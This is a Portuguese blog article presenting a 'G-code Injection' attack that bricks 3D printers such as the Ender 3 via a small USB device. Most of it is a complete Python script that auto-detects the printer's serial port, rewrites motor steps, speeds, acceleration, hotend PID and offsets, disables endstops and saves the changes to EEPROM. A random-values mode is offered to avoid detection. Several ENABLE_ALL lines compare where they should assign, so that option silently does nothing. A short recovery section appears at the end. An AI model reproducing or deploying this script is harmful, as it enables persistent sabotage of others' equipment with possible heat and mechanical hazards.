G-code Injection Ataque hacker a impressoras 3D

O G-code Injection é um ataque hacker a impressoras 3D de modo offline que é feito através de um hardware malicioso afim de prejudicar o funcionamento adequado de forma persistente.

Aviso legal sobre G-code Injection

Este projeto tem como objetivo demonstrar um estudo relacionado a hadware hacking voltado a impressora 3D. Todos os testes realizados foram em ambiente controlado e de mesma propriedade. Não nos responsabilizamos por qualquer uso indevido desta ferramenta desenvolvida neste artigo.

1. O que é G-code Injection?

As impressoras 3D são equipamentos amplamente utilizados em diversos contextos, desde hobbies até a produção em pequena e grande escala. Elas são ferramentas fundamentais para a criação de peças personalizadas e protótipos, mas, para operar corretamente, exigem calibração precisa tanto nos arquivos de impressão (como o G-code) quanto nos componentes físicos, como eixos, sensores e sistemas de aquecimento.

O G-code injection é um ataque de negação de serviço (Denial of Service, DoS) é uma ação que visa interromper o funcionamento normal de um sistema ou serviço, tornando-o indisponível para o uso pretendido. No contexto da impressora 3D, o ataque DoS busca
impedir que o equipamento realize suas funções básicas de forma correta como controle de motores e temperatura.

Apesar de sua versatilidade, impressoras 3D são vulneráveis a ataques devido à sua estrutura de comando aberta, muitas vezes exposta a acessos físicos (via USB e microSD) ou remotos (via rede). A Ender 3, uma das impressoras 3D mais populares e amplamente adotadas como referência para outros modelos, utiliza um conjunto padrão de comandos G-code que controla todas as suas funções principais, desde movimentação dos eixos até o controle de temperatura e calibração. Essa padronização, embora prática para os usuários, também facilita ataques direcionados que exploram suas vulnerabilidades.

2. Entendendo os comandos G-code e o motor de passo

2.1 O que são os comandos M503 e M92?

Ao executar o comando M503, a impressora retorna uma série de informações importantes sobre sua configuração atual. Um dos principais parâmetros que podemos modificar é o M92, responsável por definir os passos por unidade dos motores.

Isso significa que, ao alterar os valores de M92 X, M92 Y e M92 Z, conseguimos modificar como a impressora interpreta os movimentos dos eixos.

2.2 Como funciona um motor de passo?

Para entender o impacto do comando M92, é essencial compreender o funcionamento de um motor de passo. Diferente de motores comuns, que tem a comutação de forma eletromecânica e giram de forma contínua, um motor de passo se move em pequenos incrementos chamados de passos.

A cada pulso elétrico enviado pelo driver, o motor gira um pequeno ângulo. Para motores NEMA 17, muito comuns em impressoras 3D, cada passo equivale a 1.8°. Isso significa que para completar uma volta de 360°, o motor precisa dar 200 passos.

Exemplo de como funciona um motor de passo
Fonte: Era-weblab

2.3 Por que os valores do eixo X e Y são iguais, mas o do Z é diferente?

No comando M92, os valores dos eixos X e Y geralmente são iguais porque compartilham a mesma configuração mecânica de movimentação.

Já o eixo Z tem um valor diferente porque utiliza um fuso trapezoidal, que funciona como uma caixa de redução mecânica. Isso permite que o motor levante o eixo X com menos força, mas ao custo de precisar de 5x mais passos para percorrer a mesma distância em comparação ao eixo X e Y.

Exemplo para uma Ender 3:

  • M92 X80 Y80 Z400 → Significa que para mover 1mm, os eixos X e Y precisam de 80 passos, enquanto o eixo Z precisa de 400 passos.
Como funciona os passos por unidade da impressora 3d baseado em sua mecânica de cada eixo
Fonte: Linkedin

3. Desativando motores usando G-code Injection

3.1 Desativando manualmente um eixo

Podemos desativar um eixo manualmente simplesmente zerando o valor do M92 que representa o passo por unidade. Por exemplo

M92 X0
M500

Isso significa que o eixo X não se moverá mais, pois a impressora não reconhecerá mais seus passos. O comando M500 grava essa alteração na EEPROM, garantindo que mesmo após reiniciar a impressora e até algumas atualizações de firmware, a modificação continue ativa.

4. Desenvolvendo um hardware para realizar o ataque automaticamente

A ideia é criar um dispositivo que injete comandos G-code automaticamente ao ser conectado na USB da impressora. Mas, isso apresenta alguns desafios, especialmente relacionados à comunicação entre UART e USB.

4.1 Limitações do uso de microcontroladores simples

Inicialmente, pensamos em usar um Digispark por ser barato e compacto. No entanto, ele tem um grande problema: memória extremamente limitada (6kB Flash e 512B de RAM), o que impossibilita ataques mais complexos.

O ATmega32U4, presente em placas como o Arduino Leonardo, também não é ideal, pois não pode atuar como host USB, impedindo a comunicação direta com a impressora.

4.2 Diferença entre UART e USB e seu impacto no ataque

4.2.1 Como funciona a comunicação UART?

A UART utiliza dois pinos para comunicação:

  • TX (Transmissor)
  • RX (Receptor)

A comunicação ocorre cruzando os fios: o TX de um dispositivo se conecta ao RX do outro e vice-versa. Porém, UART é assíncrona e permite que um dispositivo transmita dados mesmo sem um receptor conectado.

Como funciona a comunicação UART para compreender melhor como realizar o ataque G-code Injection
Fonte: Arduino

4.2.2 Como funciona a comunicação USB?

A USB funciona de forma diferente, utilizando tensão diferencial para comunicação, similar ao CAN e RS485. Isso significa que o mesmo barramento é usado para transmitir e receber dados.

Como funciona a comunicação USB para compreender melhor como realizar o ataque G-code Injection
Fonte: Makerhero

Para que um dispositivo USB funcione corretamente, é necessário que haja um host (mestre) e um device (escravo). Como tanto o ATmega32U4 quanto o Digispark são devices, eles não conseguem se comunicar diretamente com a impressora, que também é um device.

4.3 Escolha do hardware: Banana Pi M2 Zero

Para contornar essas limitações, utilizamos um Banana Pi M2 Zero, equivalente ao Raspberry Pi Zero W. Ele roda o Raspberry Pi OS e permite o uso de módulos de bateria para tornar o ataque portátil.

Banana pi m2 zero que será usado no g-code injection

5. Criando o código para o ataque automatizado

O código foi desenvolvido para detectar automaticamente a conexão da impressora e enviar os comandos de ataque. Ele manipula diversos parâmetros críticos, incluindo:

  • Passos por unidade (M92)
  • Velocidade máxima de movimentação (M203)
  • Aceleração (M201, M204)
  • PID do hotend (M301)
  • Offsets dos eixos (M206, M851)

O ataque pode ser feito de forma sutil, com valores randômicos para evitar detecção. No final o código ficou com uma estrutura bem simples, sendo facilmente configurado por algumas variáveis sem necessitar entender de fato de programação, veja como ficou:

import serial
import glob
import time
import random

BAUDRATE = 115200                                                                   # Baudrate para comunicação serial
DELAY = 500                                                                         # Delay em ms entre um comando e outro.      

ENABLE_ALL =                                     False                              # Habilita todas as funçoes (menos a randomica). 
RANDOM_VALUES =                                  False                              # Habilita valores randomicos.
DISABLE_LIMIT_SWITCH =                           False                              # Desabilita fim de curso.
SAVE_EEPROM =                                    False                              # Salva todas as alterações na EEPROM da impressora.
CALIBRATE_ALL_MOTORS =                           False                              # Calibra passos de todos os motores.
CALIBRATE_MAX_FEEDRATES =                        False                              # Calibra valores máxima de feedrates.
CALIBRATE_MAX_ACCELERATION =                     False                              # Calibra valores máxima aceleração.
CALIBRATE_ACCELERATION =                         False                              # Calibra aceleração.
CALIBRATE_ADVANCED =                             False                              # Permite ajustar parâmetros avançados, como jerk.
CALIBRATE_HOME_OFFSET =                          False                              # Habilita o ajuste dos offsets de origem dos eixos para corrigir a posição inicial.
CALIBRATE_HOTEND_PID =                           False                              # Ativa a calibração do PID para controle de temperatura do hotend.
CALIBRATE_Z_PROBLE_OFFSET =                      False                              # Configura o offset da sonda de nivelamento automático em relação ao bico da impressora.
                   
if ENABLE_ALL:                                                                      # Força habilitar todas as funcionalidades caso não estejam habilitadas.
  if CALIBRATE_ALL_MOTORS == False:
    CALIBRATE_ALL_MOTORS = True
  if CALIBRATE_MAX_FEEDRATES == False:
    CALIBRATE_MAX_FEEDRATES = True
  if CALIBRATE_MAX_ACCELERATION == False:
    CALIBRATE_MAX_ACCELERATION == True
  if CALIBRATE_ACCELERATION == False:
    CALIBRATE_ACCELERATION == True
  if CALIBRATE_ADVANCED == False:
    CALIBRATE_ADVANCED == True
  if CALIBRATE_HOME_OFFSET == False:
    CALIBRATE_HOME_OFFSET == True
  if CALIBRATE_HOTEND_PID == False:
    CALIBRATE_HOTEND_PID == True
  if CALIBRATE_Z_PROBLE_OFFSET == False:
    CALIBRATE_Z_PROBLE_OFFSET == True
  if SAVE_EEPROM == False:
    SAVE_EEPROM == True
  if DISABLE_LIMIT_SWITCH == False:
    DISABLE_LIMIT_SWITCH == True


CALIBRATE_X =                                    80                                 # Passos por unidade do eixo X
CALIBRATE_Y =                                    80                                 # Passos por unidade do eixo Y
CALIBRATE_Z =                                    400                                # Passos por unidade do eixo Z
CALIBRATE_E =                                    93                                 # Passos por unidade da extrusora

CALIBRATE_MAX_FEEDRATES_X =                      500                                # Feedrate padrão para o eixo X (500 mm/s).    
CALIBRATE_MAX_FEEDRATES_Y =                      500                                # Feedrate padrão para o eixo Y (500 mm/s).
CALIBRATE_MAX_FEEDRATES_Z =                      5                                  # Feedrate padrão para o eixo Z (5 mm/s).
CALIBRATE_MAX_FEEDRATES_E =                      25                                 # Feedrate padrão para o extrusor (25 mm/s).

CALIBRATE_MAX_ACCELERATION_X =                   500                                # Define o valor máximo de aceleração para o eixo X.
CALIBRATE_MAX_ACCELERATION_Y =                   500                                # Define o valor máximo de aceleração para o eixo Y.
CALIBRATE_MAX_ACCELERATION_Z =                   100                                # Define o valor máximo de aceleração para o eixo Z.
CALIBRATE_MAX_ACCELERATION_E =                   5000                               # Define o valor máximo de aceleração para o eixo E.

CALIBRATE_ACCELERATION_P =                       500                                
CALIBRATE_ACCELERATION_R =                       500                                
CALIBRATE_ACCELERATION_T =                       500                                

CALIBRATE_ADVANCED_B =                           20000                              # Configura o parâmetro 'B' para ajustes avançados.
CALIBRATE_ADVANCED_S =                           0.00                               # Configura o parâmetro 'S' para ajustes avançados.
CALIBRATE_ADVANCED_T =                           0.00                               # Configura o parâmetro 'T' para ajustes avançados.
CALIBRATE_ADVANCED_J =                           0.08                               # Configura o parâmetro 'J' para ajustes avançados.

CALIBRATE_HOME_OFFSET_X =                        0                                  # Define o offset de origem para o eixo X.
CALIBRATE_HOME_OFFSET_Y =                        0                                  # Define o offset de origem para o eixo Y.
CALIBRATE_HOME_OFFSET_Z =                        0                                  # Define o offset de origem para o eixo Z.

CALIBRATE_P =                                    21.73                              # Configura o valor do coeficiente proporcional (P) do PID para o hotend.
CALIBRATE_I =                                    1.54                               # Configura o valor do coeficiente proporcional (I) do PID para o hotend.
CALIBRATE_D =                                    76.55                              # Configura o valor do coeficiente proporcional (D) do PID para o hotend.

CALIBRATE_X_OFFSET =                             -34.99                             # Define o offset para o eixo X em relação à posição padrão.
CALIBRATE_Y_OFFSET =                             -6.99                              # Define o offset para o eixo Y em relação à posição padrão.
CALIBRATE_Z_OFFSET =                             -0.38                              # Define o offset para o eixo Z em relação à posição padrão.


def find_usb_port():
    ports = glob.glob("/dev/ttyUSB*") + glob.glob("/dev/ttyACM*")
    if ports:
        return ports[0]                                                             # Retorna a primeira porta encontrada
    return None

def sendCommand(connection, command):                                               # Formata o envio das mensagens e com feedback
    connection.write("{}\n".format(command).encode())
    print("{}\n".format(command).encode())
    time.sleep(DELAY / 1000)

def formattedCommand(connection, command_template, x=0.0, y=0.0, z=0.0, e=0.0):
    command = command_template.format(x="{:.2f}".format(x), 
                                          y="{:.2f}".format(y), 
                                          z="{:.2f}".format(z), 
                                          e="{:.2f}".format(e))
    sendCommand(connection, command)

def main():
    while True:
        port = find_usb_port()

        if not port:
            print("Nenhuma porta USB encontrada.")
        else:
            print("Conectando na porta: {}".format(port))

            try:
                connection = serial.Serial(port, BAUDRATE, timeout=1)
                time.sleep(2)                                                       # Aguarda a inicialização
                
                if CALIBRATE_ALL_MOTORS == True and RANDOM_VALUES == False:         # CALIBRATE_ALL_MOTORS
                    formattedCommand(connection, "M92 X{x}", x=CALIBRATE_X)
                    formattedCommand(connection, "M92 Y{y}", y=CALIBRATE_Y)
                    formattedCommand(connection, "M92 Z{z}", z=CALIBRATE_Z)
                    formattedCommand(connection, "M92 E{e}", e=CALIBRATE_E)
                elif CALIBRATE_ALL_MOTORS == True and RANDOM_VALUES == True:
                    calibrate_xy = random.uniform(90, 140)
                    formattedCommand(connection, "M92 X{x}", 
                                     x=calibrate_xy)
                    formattedCommand(connection, "M92 Y{y}", 
                                     y=calibrate_xy)
                    formattedCommand(connection, "M92 Z{z}", 
                                     z=random.uniform(450, 800))
                    formattedCommand(connection, "M92 E{e}", 
                                     e=random.uniform(100, 300))

                if CALIBRATE_MAX_FEEDRATES == True and RANDOM_VALUES == False:      # CALIBRATE_MAX_FEEDRATES
                    formattedCommand(connection, "M203 X{x} Y{y} Z{z} E{e}", 
                                    x=float(CALIBRATE_MAX_FEEDRATES_X), 
                                    y=float(CALIBRATE_MAX_FEEDRATES_Y), 
                                    z=float(CALIBRATE_MAX_FEEDRATES_Z), 
                                    e=float(CALIBRATE_MAX_FEEDRATES_E))
                elif CALIBRATE_MAX_FEEDRATES == True and RANDOM_VALUES == True:
                    max_feedrates_xy = random.uniform(60, 100)
                    formattedCommand(connection, "M203 X{x} Y{y} Z{z} E{e}",
                                    x=max_feedrates_xy, y=max_feedrates_xy,
                                    z=random.uniform(3, 10), e=random.uniform(10, 40))

                if CALIBRATE_MAX_ACCELERATION == True and RANDOM_VALUES == False:   # CALIBRATE_MAX_ACCELERATION
                    formattedCommand(connection, "M201 X{x} Y{y} Z{z} E{e}", 
                                    x=float(CALIBRATE_MAX_ACCELERATION_X), 
                                    y=float(CALIBRATE_MAX_ACCELERATION_Y), 
                                    z=float(CALIBRATE_MAX_ACCELERATION_Z), 
                                    e=float(CALIBRATE_MAX_ACCELERATION_E))
                elif CALIBRATE_MAX_ACCELERATION == True and RANDOM_VALUES == True:
                    max_acceleration_xy = random.uniform(60, 100)
                    formattedCommand(connection, "M201 X{x} Y{y} Z{z} E{e}", 
                                    x=max_acceleration_xy, 
                                    y=max_acceleration_xy, 
                                    z=random.uniform(90, 100), 
                                    e=random.uniform(90, 100))

                if CALIBRATE_ACCELERATION == True and RANDOM_VALUES == False:       # CALIBRATE_ACCELERATION
                    formattedCommand(connection, "M204 P{x} R{y} T{z}", 
                                    x=float(CALIBRATE_ACCELERATION_P), 
                                    y=float(CALIBRATE_ACCELERATION_R), 
                                    z=float(CALIBRATE_ACCELERATION_T))
                elif CALIBRATE_ACCELERATION == True and RANDOM_VALUES == True:
                    acceleration_prt = random.uniform(500, 700)
                    formattedCommand(connection, "M204 P{x} R{y} T{z}", x=acceleration_prt, 
                                            y=acceleration_prt, z=acceleration_prt)

                if CALIBRATE_ADVANCED == True and RANDOM_VALUES == False:           # CALIBRATE_ADVANCED
                    formattedCommand(connection, "M205 B{x} S{y} T{z} J{e}", 
                                    x=float(CALIBRATE_ADVANCED_B), 
                                    y=float(CALIBRATE_ADVANCED_S), 
                                    z=float(CALIBRATE_ADVANCED_T), 
                                    e=float(CALIBRATE_ADVANCED_J))
                elif CALIBRATE_ADVANCED == True and RANDOM_VALUES == True:
                    calibrate_advanced_st = random.uniform(0, 20)
                    formattedCommand(connection, "M205 B{x} S{y} T{z} J{e}", 
                                    x=random.uniform(1000, 20000), 
                                    y=calibrate_advanced_st,
                                    z=calibrate_advanced_st, 
                                    e=random.uniform(0, 20))

                if CALIBRATE_HOME_OFFSET == True and RANDOM_VALUES == False:        # CALIBRATE_HOME_OFFSET
                    formattedCommand(connection, "M206 X{x} Y{y} Z{z}", 
                                    x=float(CALIBRATE_HOME_OFFSET_X), 
                                    y=float(CALIBRATE_HOME_OFFSET_Y), 
                                    z=float(CALIBRATE_HOME_OFFSET_Z))
                elif CALIBRATE_HOME_OFFSET == True and RANDOM_VALUES == True:
                    formattedCommand(connection, "M206 X{x} Y{y} Z{z}",
                                    x=random.uniform(-250, 250),
                                    y=random.uniform(-250, 250), 
                                    z=random.uniform(-250, 250))

                if CALIBRATE_HOTEND_PID == True and RANDOM_VALUES == False:         # CALIBRATE_HOTEND_PID
                    formattedCommand(connection, "M301 P{x} I{y} D{z}", 
                                    x=float(CALIBRATE_P), 
                                    y=float(CALIBRATE_I), 
                                    z=float(CALIBRATE_D))
                elif CALIBRATE_HOTEND_PID == True and RANDOM_VALUES == True:
                    formattedCommand(connection, "M301 P{x} I{y} D{z}", 
                                    x=random.uniform(0, 50),
                                    y=random.uniform(-10, 10), 
                                    z=random.uniform(-10, 100))

                if CALIBRATE_Z_PROBLE_OFFSET == True and RANDOM_VALUES == False:    # CALIBRATE_Z_PROBLE_OFFSET
                    formattedCommand(connection, "M851 X{x} Y{y} Z{z}", 
                                    x=float(CALIBRATE_X_OFFSET), 
                                    y=float(CALIBRATE_Y_OFFSET), 
                                    z=float(CALIBRATE_Z_OFFSET))
                elif CALIBRATE_Z_PROBLE_OFFSET == True and RANDOM_VALUES == True:
                    formattedCommand(connection, "M851 X{x} Y{y} Z{z}", 
                                    x=random.uniform(-250, 0),
                                    y=random.uniform(-250, 0), 
                                    z=random.uniform(-250, 0))

                
                if DISABLE_LIMIT_SWITCH == True:                                    # DISABLE_LIMIT_SWITCH
                    sendCommand(connection, "M211 S0")

                if SAVE_EEPROM == True:
                    sendCommand(connection, "M500")                                 # SAVE_EEPROM
                
                connection.close()
                print("Comandos enviados com sucesso.")

            except serial.SerialException as e:
                print("Erro ao conectar ao dispositivo: {}".format(e))
        time.sleep(5)
    
if __name__ == "__main__":
    main()

Além de tudo isso, para que o ataque seja automático após a conexão, é necessário deixar o código rodando em segundo plano, dessa forma vai bastar conectar o dispositivo na USB e o ataque será iniciado automaticamente. Para ficar por dentro deste projeto, é interessante acompanhar o Github.

6. Configurando e executando o ataque na prática

Agora que já entendemos como funciona o G-code Injection e como podemos modificar parâmetros críticos da impressora 3D, chegou o momento de configurar e executar o ataque na prática. Para isso, utilizamos um script em Python que se comunica com a impressora através da porta USB serial, enviando comandos de modificação automática.

O código foi estruturado de maneira modular, permitindo que diferentes tipos de ataques sejam ativados ou desativados conforme a necessidade. Vamos entender melhor como ele funciona.

6.1 Estrutura do código de ataque

O script possui várias configurações que podem ser ativadas individualmente para modificar diferentes aspectos da impressora. As principais variáveis de controle incluem:

Configurações gerais

BAUDRATE = 115200   # Define a taxa de comunicação serial com a impressora
DELAY = 500         # Tempo de espera entre cada comando enviado (em ms)

O baud rate 115200 é o padrão usado na maioria das impressoras 3D baseadas em Marlin, garantindo que a comunicação ocorra sem falhas.

6.2 Modos de ataque disponíveis

O ataque pode modificar múltiplos parâmetros críticos da impressora, afetando diretamente seu funcionamento. No código, podemos ativar ou desativar cada um desses ataques por meio de variáveis booleanas (True ou False).

ENABLE_ALL = False                              # Habilita todas as funções ao mesmo tempo
RANDOM_VALUES = False                           # Gera valores aleatórios para dificultar a detecção
DISABLE_LIMIT_SWITCH = False                    # Desativa os sensores de fim de curso
SAVE_EEPROM = False                             # Salva todas as alterações na EEPROM da impressora

Funções principais do ataque

Cada função afeta um aspecto específico da impressora:

  • Desativação dos sensores de fim de curso (M211 S0): impede que a impressora pare corretamente ao atingir os limites dos eixos.
  • Alteração dos passos por unidade (M92 X Y Z E): modifica a movimentação dos eixos, podendo impedir a impressão correta.
  • Alteração da taxa máxima de movimentação (M203): faz com que a impressora mova os eixos muito rápido ou muito devagar.
  • Alteração da aceleração (M201 e M204): pode fazer com que a impressora tenha movimentos instáveis.
  • Alteração do PID do hotend (M301): faz com que o bico de impressão aqueça de forma errada, prejudicando a extrusão.
  • Alteração dos offsets (M206 e M851): pode fazer com que a impressora inicie a impressão fora do local correto.
CALIBRATE_ALL_MOTORS = False                     # Calibra passos de todos os motores
CALIBRATE_MAX_FEEDRATES = False                  # Ajusta velocidades máximas de movimentação
CALIBRATE_MAX_ACCELERATION = False               # Ajusta aceleração máxima da impressora
CALIBRATE_HOTEND_PID = False                     # Modifica os parâmetros do PID do hotend
CALIBRATE_HOME_OFFSET = False                    # Altera os offsets de origem dos eixos

7. Executando o ataque: desativando os eixos da impressora de forma persistente

Agora que entendemos a estrutura do código, vamos executar o ataque na prática. O objetivo será desativar os eixos da impressora de forma persistente, impedindo que a máquina funcione corretamente mesmo após reiniciar.

Passo 1: Configurar o código

No script Python, alteramos as seguintes configurações para garantir que o ataque ocorra:

CALIBRATE_ALL_MOTORS = True    # Ativa a modificação dos passos por unidade
SAVE_EEPROM = True             # Salva as alterações na EEPROM para que persistam após reiniciar

Passo 2: Executar o código

Rodamos o script e verificamos que os valores de M92 foram alterados. Por exemplo, se definirmos M92 X0, os motores não terão mais passos para se movimentar, e a impressora ficará completamente parada.

M92 X0      # Desativa os motores X
M500          # Salva as alterações na EEPROM

8. Como reverter o ataque e restaurar a impressora 3D?

Caso sua impressora tenha sido comprometida por um ataque de G-code Injection, a maneira mais eficaz de restaurá-la é redefinir todas as configurações para os valores de fábrica. Isso pode ser feito com o comando M502, que carrega as configurações padrão do firmware, seguido de M500, que salva essas configurações na EEPROM.

Passo 1: Conectar a impressora ao computador

Abra um software de controle de impressoras 3D, como Pronterface ou o terminal do OctoPrint, e envie os seguintes comandos:

M502  # Restaura as configurações padrão de fábrica
M500  # Salva na EEPROM para que a correção seja permanente

Após executar esses comandos, a impressora voltará aos seus valores originais e poderá ser usada normalmente.

Deixe uma resposta

Descubra mais sobre elcereza

Assine agora mesmo para continuar lendo e ter acesso ao arquivo completo.

Continue reading